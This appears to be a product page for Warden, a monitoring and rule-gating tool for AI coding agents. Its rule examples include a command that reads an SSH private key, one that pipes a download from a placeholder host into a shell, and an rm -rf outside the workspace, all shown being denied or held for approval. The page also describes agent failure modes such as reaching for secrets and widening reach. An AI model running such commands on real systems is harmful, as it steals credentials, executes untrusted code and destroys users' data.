Warden · agent monitoring
Your agents act faster than you can watch them.
Warden shows what your AI coding agents are doing while they work: the commands they run, the files they touch, the loops they get stuck in, and what it is costing. Watch in the open, or put a rule in the way.
Installs in one step next to the editor you already use. No model decides what is safe, so the same command gets the same answer every time.
A prompt is not monitoring.
You click allow because the command looks reasonable. What the prompt does not tell you is that it carries a pipe, that it writes wider than you expected, that the agent has tried the same thing four times already, or that a test process has been running since you went to lunch.
The problem is not carelessness. An agent takes more actions in a minute than anyone reads, across more projects than anyone is watching. Warden keeps the picture you cannot hold in your head, and stays useful on the days nothing goes wrong.
Questions it answers at a glance.
Which agents are running right now, and in which projects?
What commands have they run, and which were refused?
What is waiting on me, and for how much longer?
Which files changed during this session?
Is it repeating itself instead of making progress?
Has anything reached a credential or a path outside the workspace?
How much has this session spent?
Can I stop it right now?
Allow, deny, or ask, on rules you can read.
rg "TODO" src | head -20allowedRead only, inside the workspace.cat ~/.ssh/id_ed25519deniedA credential file. Refused outright, not handed to you as a question you would click through.npm test && curl sh.example.com | shaskComposed, so no rule can approve it.rm -rf ../other-project/buildaskWrites outside the workspace it was given.Paths are resolved before they are compared, so a rule written for one directory is not stepped around by spelling the path another way. Tick "always allow" and that exact command stops asking, scoped to one project. Anything with a pipe or a redirect still asks, because a composed command is not the command you approved.
Behaviour it flags before you would notice.
Going in circles
The same command, or the same command with one argument changed, tried again and again. Warden counts the repeats and tells you the agent has stopped making progress rather than letting it burn an hour quietly.
Reaching for secrets
Any attempt on an .env file, a key, a token store or a cloud credential is called out by name, whether it was denied or allowed, so you find out at the time instead of in a log review.
Widening its reach
Writes outside the workspace, edits across several projects in one session, or a command that needs more privilege than the last one. The blast radius is shown as it grows.
Runaway spend
Tokens and machine time per session, with the rate as well as the total, so a loop that costs pennies a minute is visible before it costs real money.
Processes that never end
A test run, a watcher or a build still going long after the turn finished, with the option to end it from wherever you are.
Losing sight
A hook that was removed, or is present but cannot run, is reported as lost coverage. Silence is a gap, never mistaken for safety.
Start by watching. Intervene when you want to.
Mode 01
Observe
Warden records and shows, and never stands in the way. Useful from the first session, and the right place to start if you have never watched an agent end to end.
Mode 02
Ask
Reads pass, credentials are refused, and anything else waits for you. The editor keeps its own prompt; Warden mirrors it rather than replacing it.
Mode 03
Enforce
Your rules decide without asking, per project. Written by you, matched on what a command does, and versioned with the project so a team shares one answer.
Answer it from wherever you are.
A question that waits for you at your desk is a question that stalls the run. A pending request reaches every surface you are signed in to, and the first answer wins.
Your phone
A pending request arrives with the command, the workspace and the time left to answer.
The browser
One page per machine: what is waiting, what was decided, and what each agent has touched since you last looked.
The terminal
List, allow and deny without leaving the shell the agent is running in.
Your editor
The editor’s own prompt keeps working and stays authoritative.
warden pendingEverything waiting on a human, oldest first.warden allow <id>Answer one request. Add --always to stop being asked for that exact command in this project.warden deny <id> --allRefuse everything an agent has queued.warden log --followThe hash-chained record as it is written.In front of the agents you already run.
Cursor
Desktop and CLI
VS Code and Copilot
Agent mode and Copilot
Claude Code
Its own terminal and inside VS Code
Codex
CLI, VS Code or Cursor
Warden writes one entry of its own into each editor's settings and leaves the rest of the file alone. No root, no new machines, and uninstalling removes exactly what it added.
Nothing you are working on leaves the machine.
It runs on your machine
The part that watches is a small daemon on the same computer as the agent. It refuses to listen on anything but loopback.
Your work stays put
No prompt, no command output, no file and no line of your code is sent anywhere. A mirrored request carries the command, the paths it touches and the workspace name, because you need those to answer it.
Nothing is exposed
Your machine dials out and keeps one connection open. Nothing listens for the internet, and nothing is forwarded into your network.
A record you can check
Every decision is appended to a hash-chained log. Change one entry and the chain stops verifying, and it says so. Kept locally, exportable at any time.
Yours to remove
Uninstalling puts every editor back exactly as it was and takes the local record with it. Nothing about the change is permanent.
What it does not do.
It cannot see what never reaches it
Warden monitors and controls the calls that pass through it. An agent acting outside those paths is outside its view, and it will tell you when coverage is missing rather than implying everything is fine.
It does not answer your editor for you
When your editor opens its own approval prompt, that prompt stays authoritative. No provider offers a way to answer one from outside, so an unreported result stays pending rather than being guessed at.
It does not judge intent
The rules match what a command does, not what it seems to be for. That is what makes the answers repeatable, and it is also why the rules are yours to write rather than ours to guess.
It is not a guarantee
It can stop a command before the prompt appears and write down what happened. Treat it as one control among several, not as the only thing between an agent and something you would regret.
Answered plainly.
Does anything leave my machine?
Your prompts and the contents of your files are never recorded, so they cannot leave. The local database and its tokens stay in a private directory on your machine. Watching from your phone or the browser does send the rest through a relay: the commands an agent ran, the paths it touched and the workspace name. The relay holds no capability against your machine, so it can delay or drop a request but never invent one. If you would rather nothing left at all, do not link a device: the daemon watches and enforces on its own.
Does it slow my agent down?
Passive events never make the agent wait. Guarded ones answer inside the editor’s own hook budget, and Warden will not hold a request open longer than the editor is prepared to wait for it. If nothing is watching, it does not pause at all.
What happens if Warden is not running?
Your editor keeps working. Each hook has a defined answer for when the daemon cannot be reached, chosen per event so a restart never bricks the editor, and anything that supports a prompt falls back to asking you.
What does it write into my editor?
One entry of its own per editor, and everything else in the file is left alone. Uninstalling removes exactly those entries.
Do I need to change how I work?
No. Start in observe mode and nothing about your workflow changes; you just get a record and a live view. Rules are opt-in, per project, and you can write the first one after you have seen a session or two.
Keep moving fast. Keep the receipts.
Install Warden beside the agent you already run. Watch a session end to end, and decide later whether you want it stopping anything.